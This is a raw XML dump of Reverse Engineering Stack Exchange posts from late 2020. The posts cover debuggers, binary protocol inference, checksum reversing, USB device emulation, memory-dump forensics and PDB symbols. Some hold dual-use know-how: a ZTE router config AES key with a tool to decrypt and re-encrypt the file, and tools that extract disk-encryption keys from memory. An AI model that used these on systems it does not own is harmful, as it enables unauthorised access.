href=&quot;https://gist.github.com/mrexodia/e949ab26d5986a5fc1fa4944ac68147a#file-context32-h&quot; rel=&quot;nofollow noreferrer&quot;&gt;simple C header definition&lt;/a&gt; of the type&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Once a type is imported you can use &lt;a href=&quot;https://help.x64dbg.com/en/latest/commands/types/VisitType.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;VisitType&lt;/a&gt; cmd to view it.&#xA;Additional info:&#xA;&lt;a href=&quot;https://x64dbg.com/blog/2016/12/04/type-system.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg type system&lt;/a&gt;&#xA;&lt;a href=&quot;https://x64dbg.com/blog/2016/11/27/weekly-digest-14.html#types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Weekly Digest 14 - Types&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-11-22T23:25:24.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26349" PostTypeId="2" ParentId="26044" CreationDate="2020-11-23T01:20:56.373" Score="2" Body="&lt;p&gt;Everyone would like a magic tool which makes it less tedious to reverse an unknown binary protocol. I hope we will see some things in the next 12 months which do this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Difficult Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Previous static inference tools (Discoverer, Netzob) try to straddle both text and binary protocols. Text (think JSON payload) based protocols are generally much easier to reverse since as a human you can examine the data and understand at least what the types of the pieces are and the boundaries between fields. Binary protocols are ambiguous for both of types and field boundaries. Are these 4 bytes a IEEE Float or 2 unsigned shorts or 4 ASCII Chars?&lt;/p&gt;&#xA;&lt;p&gt;Additionally, if you have access to the program / executable, you will eventually be able to reverse engineer the format from using IDA/Ghidra/Whatever. It may be tedious and take time, but you or a team of engineers can get it done.&lt;/p&gt;&#xA;&lt;p&gt;So if you don't have access to the program, and all you have is some network traces or pcaps of the traffic, the odds are stacked against you. I think the reason you don't see modern tools (yet) is because it's hard and for less effort you can get more payoff either sticking to text protocol formats such as JSON / anything ASCII, or by working on binary program instrumentation and analysis to determine the format from the program itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So what can you try?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you don't have access to the binary then hopefully you have multiple messages. The following assume you have a number of messages and have grouped them into pure formats meaning that the field layout for each message is exactly the same and only the values differ.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are all the messages the same length or different?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the lengths are  the same, then you have no variable length fields in the sample.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the lengths are different, are they always in units of 2, or 4? or do you have both even and odd differences in length? This can tell you the unit size of the variable length portion of the message.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there regions which take on a constant (same) value in all messages at a particular offset from the message start? These may help you identify where fields with changing values begin relative to message start.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any byte regions which correspond to message length?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have variable length messages in UDP and you find a length field, that's possibly an indication that the format is designed to work someplace besides UDP. UDP has a length field, so why send length twice?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't see a length code within the body of message in UDP, that's interesting because whatever is consuming this message must need to know how many bytes to read, either from UDP length, or some other value in the message.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for regions with known values such as a known IP address, or a known string.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Split the messages into traffic sent and traffic received. Sometimes one format is used to send data, and another is used to acknowledge it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there some byte in all the messages which only takes on two or three values? Split your dataset into groups based on the value at that byte.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In terms of tools, for checksums here's something you can try: &lt;a href=&quot;https://github.com/laurenlabell/checksum_finder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/laurenlabell/checksum_finder&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Background: &lt;a href=&quot;https://dl.acm.org/doi/10.1145/3411506.3417599&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.acm.org/doi/10.1145/3411506.3417599&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-11-29T20:02:45.120" LastActivityDate="2020-11-29T20:02:45.120" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26350" PostTypeId="2" ParentId="26171" CreationDate="2020-11-23T01:23:45.917" Score="1" Body="&lt;p&gt;If you have more messages you could try this for reverse engineering checksums: &lt;a href=&quot;https://github.com/laurenlabell/checksum_finder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/laurenlabell/checksum_finder&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For CRCs there's a tool called CRCRevEng which is harder to use, but can tackle CRCs.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-11-23T01:23:45.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26351" PostTypeId="2" ParentId="25894" CreationDate="2020-11-23T01:38:08.967" Score="1" Body="&lt;p&gt;I think there may be some noise on the line. Lauren Labell has a tool to try and automate reversing checksums: &lt;a href=&quot;https://github.com/laurenlabell/checksum_finder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/laurenlabell/checksum_finder&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's what it generated:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#  start: 0 end: 0 check: 13 foldOp: &amp;lt;built-in function sub&amp;gt; finalOp: &amp;lt;built-in function add&amp;gt; magicValue: 0xaa&#xA;# ================================================================================&#xA;# Generated Code&#xA;# --------------------------------------------------------------------------------&#xA;&#xA;&#xA;&#xA;import operator&#xA;&#xA;def twosComp(n):&#xA;    return -n&#xA;&#xA;def onesComp(n1, n2):&#xA;    mod = 1 &amp;lt;&amp;lt; 8&#xA;    result = n1 + n2&#xA;    return result if result &amp;lt; mod else (result + 1) % mod  &#xA;&#xA;def pad(xs,w):&#xA;    n = len(xs)&#xA;    target_n = (-(-n//w)) * w&#xA;    delta = target_n - n&#xA;    xs_padded = xs+[0]*delta&#xA;    return xs_padded&#xA;&#xA;def chunk(xs,w):&#xA;    xs_chunked = [xs[i:i+w] for i in range(0,len(xs),w)]&#xA;    return xs_chunked&#xA;&#xA;def to_int(x):&#xA;    return int.from_bytes(bytes(x),'big')&#xA;&#xA;&#xA;def preprocess(hex_str,w):&#xA;    hex_str = ''.join(hex_str.split(' '))&#xA;    xs = [x for x in bytes.fromhex(hex_str)]&#xA;    xs_padded = pad(xs,w)&#xA;    xs_chunked = chunk(xs_padded,w)&#xA;    xs_ints = [to_int(x) for x in xs_chunked]&#xA;    return xs_ints&#xA;&#xA;&#xA;def calculate_checksum(payload):&#xA;    magicValue = 0xaa&#xA;    mask = 0xFF&#xA;&#xA;    checksum = 0&#xA;    for element in payload:&#xA;        checksum = operator.sub(checksum,element)&#xA;    checksum =  operator.add(checksum,magicValue)&#xA;    return checksum &amp;amp; mask&#xA;&#xA;def validate_message(rawmsg):&#xA;    msgStart = 0&#xA;    msgEnd = 0&#xA;    checksumPos = 13 &#xA;    width = 1&#xA;&#xA;    msg = preprocess(rawmsg,width)&#xA;    payload = msg[msgStart:]&#xA;    checksum = msg[checksumPos]&#xA;    payload[checksumPos] = 0&#xA;&#xA;    return calculate_checksum(payload) == checksum&#xA;&#xA;# ================================================================================&#xA;# Unit Tests&#xA;# --------------------------------------------------------------------------------&#xA;&#xA;print(validate_message('9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19'),'9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19')&#xA;print(validate_message('9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19'),'9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19')&#xA;print(validate_message('97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19'),'97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19')&#xA;print(validate_message('a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19'),'a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19')&#xA;print(validate_message('a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59'),'a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59')&#xA;&#xA;# --------------------------------------------------------------------------------&#xA;# End Generated Code&#xA;# --------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-11-23T01:38:08.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26356" PostTypeId="2" ParentId="17403" CreationDate="2020-11-24T02:44:58.133" Score="2" Body="&lt;p&gt;You can use JByteMod to edit your class bytecode.&#xA;You can also create new methods, delete methods, fields and change accesses.&lt;/p&gt;&#xA;&lt;p&gt;Its pretty easy to use, just load the jar and select the class you want to edit.&lt;/p&gt;&#xA;&lt;p&gt;JByteMod: &lt;a href=&quot;https://github.com/GraxCode/JByteMod-Beta/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GraxCode/JByteMod-Beta/releases&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34252" LastActivityDate="2020-11-24T02:44:58.133" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26357" PostTypeId="2" ParentId="2560" CreationDate="2020-11-24T02:55:51.887" Score="2" Body="&lt;p&gt;I know few ways to prevent resources extraction/reading:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Encrypt your resources and dynamically decrypt them in runtime without writing temp files.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load the resources from the Internet (require Internet connection).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Corrupt the CRC32 of the resources files, this will make &lt;code&gt;WinZip&lt;/code&gt; or &lt;code&gt;WinRAR&lt;/code&gt; unable to extract your resources.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;code&gt;\u0000&lt;/code&gt; (&lt;code&gt;\x0&lt;/code&gt;) as a file name prefix. The NUL terminator will  make WinZip or WinRAR unable to extract files (and also read file names).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;However, none of these increases security.&lt;/strong&gt; Resources will be able to get decrypted or extracted, these are only &amp;quot;simple tricks&amp;quot; to prevent standard reading / extraction. But people with enough knowledge will be able to bypass them and fix the files.&lt;/p&gt;&#xA;" OwnerUserId="34252" LastEditorUserId="22780" LastEditDate="2021-10-29T07:33:22.240" LastActivityDate="2021-10-29T07:33:22.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26358" PostTypeId="1" AcceptedAnswerId="26379" CreationDate="2020-11-24T13:15:46.463" Score="1" ViewCount="188" Body="&lt;p&gt;I rarely run Windows, but have some Windows software I'd like to take a look at. This doesn't require a security &amp;quot;dongle&amp;quot;, but won't start without the presence of a particular USB-connected peripheral about which virtually nothing is known.&lt;/p&gt;&#xA;&lt;p&gt;The software I have is Brother PE-Design Plus, which prepares .pes files for their embroidery machines. The hardware is described as &amp;quot;04f9:2100 Brother Industries, Ltd Card Reader Writer&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;This is not at all &amp;quot;mission critical&amp;quot; for me since the machine I'm looking at can be configured using a USB &amp;quot;thumb drive&amp;quot;, but older machines /have/ to be programmed via one of these writers.&lt;/p&gt;&#xA;&lt;p&gt;The writers are scarce and expensive. Older variants for the same type of card were connected to a serial port, but the software I have appears to be USB-specific. The card has a chip under an epoxy blob, which is suspected to be a 512Kbyte Flash device.&lt;/p&gt;&#xA;&lt;p&gt;After installation, the Brother software includes a file CardIO.dll, which encodes the correct USB vid:pid numbers and has what looks like card-related debugging messages and mangled C++ entry point names including ?ChkCardWriterConnected@CCardIO@@QAE?AW4CIOError@@HPAEPAH@Z&lt;/p&gt;&#xA;&lt;p&gt;There is nothing in that file which indicates what type of device is expected (i.e. USB serial vs HID etc.) but my knowledge of the inside of Windows drivers is limited.&lt;/p&gt;&#xA;&lt;p&gt;I was thinking that I might be able to program a Teensy (I think I've got a 3.5) to emulate the various USB device types and see if I could at least work out what sort of device type the Brother software was expecting. Otherwise I'm aware of e.g. &lt;a href=&quot;https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/&lt;/a&gt; and the Facedancer project, however I think that most things like this are more oriented to analysing available hardware rather than something unseen.&lt;/p&gt;&#xA;&lt;p&gt;Wireshark on Windows shows nothing. I've not yet tried setting up Windows under Qemu (etc.) and seeing whether I can track anything at the hardware level, but I suspect that detection is based on a hotplug event which tells Windows that it is to respond positively to a presence query.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts would be appreciated.&lt;/p&gt;&#xA;&lt;p&gt;A few days later: It looks as though having any USB device with the correct vid:pid doublet is sufficient to get the Brother card reader driver loaded, but not to get the app running (and nothing useful shows up in Wireshark). I've been using a Teensy 3.5 set up as a rawhid device, I'm not sure whether the type of device matters since I suspect I'm up against OS caching issues which muddy the water.&lt;/p&gt;&#xA;" OwnerUserId="35014" LastEditorUserId="35014" LastEditDate="2020-11-26T12:38:32.217" LastActivityDate="2020-11-26T22:44:55.720" Title="Unknown (and unowned) USB device" Tags="|usb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26359" PostTypeId="1" AcceptedAnswerId="26369" CreationDate="2020-11-24T15:14:44.347" Score="1" ViewCount="121" Body="&lt;p&gt;Is it safe to assume that, in the general case, the name of the section containing the user code (not the compiler generated code) is &lt;code&gt;.text&lt;/code&gt;? I spot-checked several ARM, x86 and MIPS binaries (PE and ELF) and it seems to be the case.&lt;/p&gt;&#xA;&lt;p&gt;I suppose the compiler/linker can be configured to chose a different name. In which cases would one want to change it? Are there known examples (CPU arch, compiler, etc.) where there is no &lt;code&gt;.text&lt;/code&gt; section? What are other frequently used names? Can user code be put in other sections than the &lt;code&gt;.text&lt;/code&gt; section?&lt;/p&gt;&#xA;&lt;p&gt;Or is the name &lt;code&gt;.text&lt;/code&gt; required to be a valid PE / ELF and thus always chosen? The &lt;a href=&quot;https://refspecs.linuxbase.org/elf/elf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF specification&lt;/a&gt; for example mentions the name &lt;code&gt;.text&lt;/code&gt; several times, so does the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2020-11-24T15:22:12.277" LastActivityDate="2020-11-25T08:14:52.583" Title="Name other than &quot;.text&quot; for the main code section" Tags="|pe|elf|binary-format|compilers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26362" PostTypeId="1" CreationDate="2020-11-24T17:27:54.957" Score="0" ViewCount="471" Body="&lt;p&gt;I have a 16GB memory dump from Belkasoft RAM Capture, what free tools can I use to analyze it?&lt;/p&gt;&#xA;&lt;p&gt;I have used IDA free version to try to open it and it is showing me an error that it is out of memory and asking me to increase system drive by 70GB.&lt;/p&gt;&#xA;&lt;p&gt;Are there any free software tools which don't require such large disk space?&lt;/p&gt;&#xA;" OwnerUserId="35018" LastActivityDate="2021-08-23T01:01:25.133" Title="I have a 16GB memory dump from Belkasoft RAM Capture, what free tools can I use to analyze it?" Tags="|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26364" PostTypeId="2" ParentId="26087" CreationDate="2020-11-24T17:48:38.407" Score="1" Body="&lt;p&gt;I'm working on some tooling for automatic reverse engineering.&lt;/p&gt;&#xA;&lt;p&gt;Having messages of varying length makes it much easier to determine which fields are related to overall message lengths.  It also makes it much easier to identify where the 'header' portion is, as it will have a consistent format and precede the variable length portion.&lt;/p&gt;&#xA;&lt;p&gt;The more data and the more diverse that data is, the easier it is to infer a format. Many times I've seen datasets generated by holding everything constant, and altering on a single value in memory. Those are easier for humans to spot checksums in, but harder for finding general field boundaries.&lt;/p&gt;&#xA;&lt;p&gt;Here's my best guess at the format given the data. Looks like it's big endian, with byte 3 looking like a tag. |'s indicate places where there's a heuristic field boundary.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    TTTTTTTT ?? FFFFFFFF | ???? | ?????? | ?????? TTTTTTTT | ??&#xA;    --&#xA;    00187F4C 02 0614414E | 0030 | 030767 | 000D23 00000120 | 01&#xA;    00187F4E 00 0669414E | 0031 | 030767 | 000D23 00000123 | 01&#xA;    00180014 03 0E3B004A | 0028 | 030009 | 000D23 00000126 | 01&#xA;    0018002B 01 10694042 | 001B | 030778 | 000D23 0000011C | 01&#xA;    00187F62 03 21080052 | 0012 | 03000A | 000D23 00000116 | 01&#xA;    0018000B 00 25444039 | 0028 | 030779 | 000D23 0000012E | 02&#xA;    00180016 01 345C0042 | 0018 | 030008 | 000D23 00000124 | 01&#xA;    0018002B 01 3923404A | 0010 | 030777 | 000D23 0000011E | 01&#xA;    --&#xA;    0 T  BE TIMESTAMP 32&#xA;    1 ? UNKNOWN TYPE 1 BYTE(S)&#xA;    2 F BE FLOAT &#xA;    3 ? UNKNOWN TYPE 2 BYTE(S)&#xA;    4 ? UNKNOWN TYPE 3 BYTE(S)&#xA;    5 ? UNKNOWN TYPE 3 BYTE(S)&#xA;    6 T  BE TIMESTAMP 32&#xA;    7 ? UNKNOWN TYPE 1 BYTE(S)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think there's some sort of sequence in section 4 (likely it's just the last 2 bytes).&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-11-25T15:57:40.433" LastActivityDate="2020-11-25T15:57:40.433" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26365" PostTypeId="1" CreationDate="2020-11-24T20:31:18.690" Score="0" ViewCount="4954" Body="&lt;p&gt;bin file extracted from a ZXHN H168N V3.1. RouterPassView is able to decrypt the file successfully but the tool can't re-encrypt the file, it gave me some info about the method used to decrypt here they are&lt;/p&gt;&#xA;&lt;p&gt;File Type: 29&#xA;Encrypted Data Start Position: 227&#xA;Encryption Algorithm: AES-128&#xA;Encryption Key: 34303263333864653339626564363635&#xA;Compression: zlib/deflate&lt;/p&gt;&#xA;&lt;p&gt;am a noob when it comes to this stuff so idk how to code my own tool does anyone know a tool that i could use to decrypt and re-encrypt the file&lt;/p&gt;&#xA;" OwnerUserId="35020" LastActivityDate="2021-09-24T08:22:24.650" Title="Need help with ZTE router config.bin file decryption and encryption" Tags="|tools|encryption|decryption|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26366" PostTypeId="1" CreationDate="2020-11-24T22:40:21.573" Score="0" ViewCount="350" Body="&lt;p&gt;OK, I am very new to x64dbg. I used to use OllyDbg a lot and I'm having some problems with this.&#xA;I just made a customized version of MS-PAINT for practice by changing a few things like the default palette, etc.&lt;/p&gt;&#xA;&lt;p&gt;I want to add a MessageBoxW to the help button in the corner. I successfully located the method. In ollydbg, I could simply type push, push, push and then call MessageBoxW, but it doesn't work with this. Maybe it's not imported? But I searched for references and found a MessageBoxW, but it looks like this: call qword ptr ds:[0x00000000FF467880] and that ptr is automatically evaluated to MessageBoxW. However, when I copy that code myself it's not working. Why can't I simply type call MessageBoxW????&lt;/p&gt;&#xA;&lt;p&gt;I know this might seem amateurish, but I am doing this to try to learn how to use this debugger better. I hope you understand I don't have much experience. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="35021" LastActivityDate="2020-11-26T00:03:01.233" Title="Calling MessageBoxW x64 confused about pointer" Tags="|ollydbg|x64dbg|patching|x86-64|calling-conventions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26367" PostTypeId="2" ParentId="26365" CreationDate="2020-11-24T23:08:23.640" Score="3" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/streetster/zte-config-utility&quot; rel=&quot;nofollow noreferrer&quot;&gt;zcu&lt;/a&gt; module (written by Mark Streetster) to decrypt/encrypt your config.bin file.&lt;/p&gt;&#xA;" OwnerUserId="21002" LastEditorUserId="21002" LastEditDate="2020-11-24T23:44:47.223" LastActivityDate="2020-11-24T23:44:47.223" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26368" PostTypeId="2" ParentId="26362" CreationDate="2020-11-25T01:57:57.793" Score="1" Body="&lt;p&gt;Tools the can be used to analyze these files include&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Belkasoft.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Belkasoft Evidence Cente&lt;/a&gt; can extract remnants of conversations and communications occurring in social networks, chat rooms, multi-player online games, Skype; data from cloud services such as Flickr, Dropbox, Sky Drive, Google Drive etc.; communications in Webmail systems such as Gmail, Hotmail, Yahoo; Web browser and virtual worlds artifacts, and so on&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elcomsoft.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Elcomsoft Forensic Disk Decryptor&lt;/a&gt; extracts decryption keys protecting encrypted volumes (PGP, True Crypt, BitLocker and Bitlocker To Go containers are supported), allowing investigators to instantly access the content of these encrypted volumes without brute-forcing the original volume password. All the keys from a memory dump are extracted at once, so if there is more than one crypto container in the system, there is no need to re-process the memory dump.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://passware.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Passware&lt;/a&gt; forensic toolkit including tools for capturing memory dumps via FireWire attack. Also includes a tool to extract decryption keys for popular crypto containters&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.fireeye.com/services/freeware/memoryze.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Memoryze&lt;/a&gt; can capture &amp;amp; analyze memory images (although not tested with belkasoft RAM capture images)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.volatilityfoundation.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Volatility&lt;/a&gt; For example tutorial refer to &lt;a href=&quot;https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rekall-forensic.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rekall Forensics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg&lt;/a&gt; can analyze complete system memory dumps, although may need to develop a converter to properly load image created with belkasoft RAM capture.&lt;/li&gt;&#xA;&lt;li&gt;A hex editor designed for large files such as &lt;a href=&quot;https://sourceforge.net/projects/wxhexeditor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;wxHexEditor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-25T22:56:31.913" LastActivityDate="2020-11-25T22:56:31.913" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26369" PostTypeId="2" ParentId="26359" CreationDate="2020-11-25T08:14:52.583" Score="4" Body="&lt;p&gt;The section name can be anything, the OS loader only uses section flags to set up permissions when mapping the file into memory. For example, Delphi compiler uses CODE, and various packers use custom names (UPX00 etc.) or even garbage.&lt;/p&gt;&#xA;&lt;p&gt;AFAIK the only section name that is somewhat enforced is &lt;code&gt;.rsrc&lt;/code&gt; - I think Explorer may not show the file icon if resources section is renamed.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-25T08:14:52.583" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26372" PostTypeId="2" ParentId="19386" CreationDate="2020-11-25T18:10:04.690" Score="-3" Body="&lt;p&gt;For anyone looking for ans:&lt;/p&gt;&#xA;&lt;p&gt;1.check if app is DCLing.&lt;/p&gt;&#xA;&lt;p&gt;2.What payload is loaded.&lt;/p&gt;&#xA;&lt;p&gt;Hint:here is asset ,using that, most probably a dex/jar is dropped.&lt;/p&gt;&#xA;" OwnerUserId="35026" LastActivityDate="2020-11-25T18:10:04.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26374" PostTypeId="1" CreationDate="2020-11-25T20:23:02.390" Score="4" ViewCount="2832" Body="&lt;p&gt;I want to download the &lt;code&gt;.pdb&lt;/code&gt; files of Windows binaries (e.g., &lt;code&gt;notpad.exe&lt;/code&gt;) on machines where the user doesn't have admin rights, nor has any debugger available. I was wondering if it is possible to download the PDB files using Windows built-in functionalities such as cmd/batch, Powershell, or WSH VBScript or JScript?&lt;/p&gt;&#xA;&lt;p&gt;I think the first step is to find the globally unique identifier (GUID) of the binary, and then probably there are some URL queries one can use to download the specific program database file of the built.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.1.&lt;/strong&gt; Apparently the New Technology Symbolic Debugger (NTSD) used to come built into the Windows OS. I am not aware of the OS includes any debuggers by default anymore.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.2.&lt;/strong&gt; From &lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/comments/k103rd/is_it_possible_to_download_program_database_pdb/gdlaew2?utm_source=share&amp;amp;utm_medium=web2x&amp;amp;context=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;this comment&lt;/a&gt;, I was pointed towards the &lt;a href=&quot;https://github.com/rajkumar-rangaraj/PDB-Downloader/blob/master/SymbolFetch/UrlBuilder.cs#L42&quot; rel=&quot;nofollow noreferrer&quot;&gt;right URI&lt;/a&gt; to download the exact PDB file, given the GUID of the binary. Now the problem is to know how to extract the GUID from the binary itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.3.&lt;/strong&gt; I am wondering if the CLSID/GUID/ProgID of all binaries are stored in the registry and one can manually map them to the specific &lt;code&gt;.dll&lt;/code&gt;/&lt;code&gt;.exe&lt;/code&gt; files.&lt;/p&gt;&#xA;" OwnerUserId="24943" LastEditorUserId="24943" LastEditDate="2020-11-25T23:06:23.940" LastActivityDate="2023-09-06T21:26:01.830" Title="Is it possible to download program database (PDB) files of Microsoft Windows binaries without installing any software?" Tags="|windows|debugging-symbols|pdb|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26375" PostTypeId="1" CreationDate="2020-11-25T20:28:03.640" Score="0" ViewCount="127" Body="&lt;p&gt;While disassembling an IPA downloaded directly from the App Store CDN, I noticed that the binary had an unusually large entropy. Looking this occurrence up confirmed my suspicion that it was encrypted, and that they were decrypted at launch time— which suggests that the decryption key is somewhere on the device. Why wouldn’t it be possible to obtain this key using a jailbroken device? Am I overlooking something critical? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="34511" LastActivityDate="2020-11-25T20:28:03.640" Title="Is it possible to somehow derive the decryption key for iOS app binaries?" Tags="|disassembly|encryption|ios|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26376" PostTypeId="2" ParentId="26374" CreationDate="2020-11-25T20:44:03.600" Score="7" Body="&lt;p&gt;You can use PDB downloader which doesn’t require any installation &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/webtopics/pdb-downloader&quot; rel=&quot;noreferrer&quot;&gt;https://docs.microsoft.com/en-us/archive/blogs/webtopics/pdb-downloader&lt;/a&gt;. Or you could use its source below to see how you could recreate with PowerShell or some other method.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rajkumar-rangaraj/PDB-Downloader&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/rajkumar-rangaraj/PDB-Downloader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also just copy the WinDBg files from a machine where it’s been installed and it will run without requiring admin rights.&lt;/p&gt;&#xA;&lt;p&gt;Also you can taken SymChk.exe from Windows debugging tools for download symbols, or if machine doesn’t have internet access generate a manifest to download from another machine &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk&quot; 